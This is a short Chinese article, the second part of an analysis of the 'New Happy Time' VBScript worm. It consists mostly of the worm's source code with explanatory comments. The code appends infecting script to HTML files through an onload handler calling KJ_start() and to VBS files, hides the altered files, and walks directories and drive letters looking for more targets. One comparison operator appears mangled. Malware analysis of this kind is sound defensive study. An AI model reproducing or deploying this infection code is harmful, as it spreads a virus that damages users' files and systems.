新欢乐时光代码分析(2)
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.Attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath, 8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<"
& "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function
' 函数:KJChangeSub(CurrentString,LastIndexChar)
' 功能:改变子目录以及盘符
' 参数:
' CurrentString 当前目录
' LastIndexChar 上一级目录在当前路径中的位置
Function KJChangeSub(CurrentString, LastIndexChar)
' 判断是否是根目录
If LastIndexChar = 0 Then
' 如果是根目录
' 如果是C:\,返回FinalyDisk盘,并将SubE置为0,
' 如果不是C:\,返回将当前盘符递减1,并将SubE置为0
If Left(LCase(CurrentString), 1) = < LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString), 1)) - 1) & ":\"
SubE = 0
End If
Else
' 如果不是根目录,则返回上一级目录名称
KJChangeSub = Mid(CurrentString, 1, LastIndexChar)
内容版权声明:除非注明,否则皆为本站原创文章。